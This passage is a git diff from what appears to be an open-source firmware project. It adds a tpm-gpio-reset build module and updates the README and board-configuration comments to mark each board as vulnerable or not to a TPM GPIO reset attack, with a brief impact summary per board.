diff --git a/Makefile b/Makefile index d103e7ac0..ff2cf39e0 100644 --- a/Makefile +++ b/Makefile @@ -750,6 +750,7 @@ bin_modules-$(CONFIG_NKSTORECLI) += nkstorecli bin_modules-$(CONFIG_UTIL_LINUX) += util-linux bin_modules-$(CONFIG_OPENSSL) += openssl bin_modules-$(CONFIG_TPM2_TOOLS) += tpm2-tools +bin_modules-$(CONFIG_TPM2_TOOLS) += tpm-gpio-reset bin_modules-$(CONFIG_BASH) += bash bin_modules-$(CONFIG_POWERPC_UTILS) += powerpc-utils bin_modules-$(CONFIG_IO386) += io386 diff --git a/blobs/m900/README.md b/blobs/m900/README.md index 2ba846ad0..c75878296 100644 --- a/blobs/m900/README.md +++ b/blobs/m900/README.md @@ -39,7 +39,7 @@ Sha256sums: `blobs/m900/hashes.txt` # CAVEATS for the board: -> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This board is vulnerable to a TPM GPIO reset attack, i.e. the PCRs are reset while the system is running. > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 diff --git a/blobs/xx80/README.md b/blobs/xx80/README.md index 4451931a0..87fbac58b 100644 --- a/blobs/xx80/README.md +++ b/blobs/xx80/README.md @@ -42,7 +42,7 @@ Sha256sums: `blobs/xx80/hashes.txt` See the board configs `boards/t480-[hotp-]maximized/t480-[hotp-]maximized.config`: -> This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +> This board is vulnerable to a TPM GPIO reset attack, i.e. the PCRs are reset while the system is running. > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 diff --git a/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config b/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config index a6f4f7371..97852bc3d 100644 --- a/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config +++ b/boards/EOL_UNTESTED_t530-hotp-maximized/EOL_UNTESTED_t530-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config b/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config index 3e57c6b8a..4fa736382 100644 --- a/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config +++ b/boards/EOL_UNTESTED_t530-maximized/EOL_UNTESTED_t530-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_librem_13v2/EOL_librem_13v2.config b/boards/EOL_librem_13v2/EOL_librem_13v2.config index 53ccf1ceb..9db0e4c24 100644 --- a/boards/EOL_librem_13v2/EOL_librem_13v2.config +++ b/boards/EOL_librem_13v2/EOL_librem_13v2.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_13v2 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_13v2.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_13v4/EOL_librem_13v4.config b/boards/EOL_librem_13v4/EOL_librem_13v4.config index 6a233e4cf..3dfe7d6e3 100644 --- a/boards/EOL_librem_13v4/EOL_librem_13v4.config +++ b/boards/EOL_librem_13v4/EOL_librem_13v4.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_13v4 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_13v4.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_15v3/EOL_librem_15v3.config b/boards/EOL_librem_15v3/EOL_librem_15v3.config index b1cfbb21b..c78de9a54 100644 --- a/boards/EOL_librem_15v3/EOL_librem_15v3.config +++ b/boards/EOL_librem_15v3/EOL_librem_15v3.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_15v3 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_15v3.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_15v4/EOL_librem_15v4.config b/boards/EOL_librem_15v4/EOL_librem_15v4.config index 2236667db..cc6ed4c71 100644 --- a/boards/EOL_librem_15v4/EOL_librem_15v4.config +++ b/boards/EOL_librem_15v4/EOL_librem_15v4.config @@ -1,6 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a librem_15v4 CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_COREBOOT_CONFIG=config/coreboot-librem_15v4.config export CONFIG_COREBOOT=y diff --git a/boards/EOL_librem_l1um/EOL_librem_l1um.config b/boards/EOL_librem_l1um/EOL_librem_l1um.config index 2b4c41fed..17ca10cdc 100644 --- a/boards/EOL_librem_l1um/EOL_librem_l1um.config +++ b/boards/EOL_librem_l1um/EOL_librem_l1um.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a librem_l1um CONFIG_LINUX_CONFIG=config/linux-librem_common.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um.config diff --git a/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config b/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config index 2051e15f7..5d7cbf034 100644 --- a/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config +++ b/boards/EOL_m900_tower-hotp-maximized/EOL_m900_tower-hotp-maximized.config @@ -18,13 +18,8 @@ # - PSU: 250W (85% efficiency) or optional 400W (92%) # - Form factor: Mini Tower (25L), 175 x 413 x 406 mm, ~12.5 kg # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/m900/m900_download_clean_deguard_me.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE diff --git a/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config b/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config index 810163ecd..8eb16cb96 100644 --- a/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config +++ b/boards/EOL_m900_tower-maximized/EOL_m900_tower-maximized.config @@ -18,13 +18,8 @@ # - PSU: 250W (85% efficiency) or optional 400W (92%) # - Form factor: Mini Tower (25L), 175 x 413 x 406 mm, ~12.5 kg # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/m900/m900_download_clean_deguard_me.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE diff --git a/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config b/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config index e50aeb232..5e4ccce60 100644 --- a/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config +++ b/boards/EOL_optiplex-7010_9010-hotp-maximized/EOL_optiplex-7010_9010-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config b/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config index 917638768..d57983b68 100644 --- a/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config +++ b/boards/EOL_optiplex-7010_9010-maximized/EOL_optiplex-7010_9010-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config b/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config index 9c318dc57..5b9d2cfc9 100644 --- a/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/EOL_optiplex-7010_9010_TXT-hotp-maximized/EOL_optiplex-7010_9010_TXT-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config b/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config index 3e1cea776..69154c329 100644 --- a/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config +++ b/boards/EOL_optiplex-7010_9010_TXT-maximized/EOL_optiplex-7010_9010_TXT-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a Optiplex 7010/9010 SFF running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config b/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config index c2f4e86df..8fd55401b 100644 --- a/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config +++ b/boards/EOL_t420-hotp-maximized/EOL_t420-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T420 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t420-maximized/EOL_t420-maximized.config b/boards/EOL_t420-maximized/EOL_t420-maximized.config index a797cb650..9442cc474 100644 --- a/boards/EOL_t420-maximized/EOL_t420-maximized.config +++ b/boards/EOL_t420-maximized/EOL_t420-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T420 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config b/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config index f44bab884..14f7861b9 100644 --- a/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config +++ b/boards/EOL_t430-hotp-maximized/EOL_t430-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T430 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t430-maximized/EOL_t430-maximized.config b/boards/EOL_t430-maximized/EOL_t430-maximized.config index 26b5805cd..b885744bf 100644 --- a/boards/EOL_t430-maximized/EOL_t430-maximized.config +++ b/boards/EOL_t430-maximized/EOL_t430-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a T430 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config b/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config index 630a6e28d..39379753a 100644 --- a/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config +++ b/boards/EOL_t440p-hotp-maximized/EOL_t440p-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad T440p with HOTP Security dongle support CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config # TODO: Make a ThinkPad-common Linux config file. diff --git a/boards/EOL_t440p-maximized/EOL_t440p-maximized.config b/boards/EOL_t440p-maximized/EOL_t440p-maximized.config index ce9de9dec..82dde73bd 100644 --- a/boards/EOL_t440p-maximized/EOL_t440p-maximized.config +++ b/boards/EOL_t440p-maximized/EOL_t440p-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a ThinkPad T440p without HOTP Security dongle support CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config # TODO: Make a ThinkPad-common Linux config file. diff --git a/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config b/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config index b55eeca8b..70befdc5e 100644 --- a/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config +++ b/boards/EOL_t480-hotp-maximized/EOL_t480-hotp-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_t480-maximized/EOL_t480-maximized.config b/boards/EOL_t480-maximized/EOL_t480-maximized.config index 42f327f24..e7c4a50ce 100644 --- a/boards/EOL_t480-maximized/EOL_t480-maximized.config +++ b/boards/EOL_t480-maximized/EOL_t480-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config b/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config index f1096f445..4f933d15c 100644 --- a/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config +++ b/boards/EOL_t480s-hotp-maximized/EOL_t480s-hotp-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_t480s-maximized/EOL_t480s-maximized.config b/boards/EOL_t480s-maximized/EOL_t480s-maximized.config index 0070d9e4b..b1478cbc8 100644 --- a/boards/EOL_t480s-maximized/EOL_t480s-maximized.config +++ b/boards/EOL_t480s-maximized/EOL_t480s-maximized.config @@ -1,14 +1,8 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # -# CAVEATS: -# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. -# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. -# Also it can be used to extract FDE keys from a TPM. -# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -# Make sure you understand the implications of the attack for your threat model before using this board. -# -# Includes +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # - Deactivated+partially neutered+deguarded ME and expanded consequent IFD BIOS regions # - More details can be found in the script under blobs/xx80/download_clean_deguard_me_pad_tb.sh # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config b/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config index 5e23f47d3..21c3eef8d 100644 --- a/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config +++ b/boards/EOL_w530-hotp-maximized/EOL_w530-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a W530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_w530-maximized/EOL_w530-maximized.config b/boards/EOL_w530-maximized/EOL_w530-maximized.config index 9daa35c55..a5e77ea6c 100644 --- a/boards/EOL_w530-maximized/EOL_w530-maximized.config +++ b/boards/EOL_w530-maximized/EOL_w530-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a W530 running Qubes and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_w541-hotp-maximized/EOL_w541-hotp-maximized.config 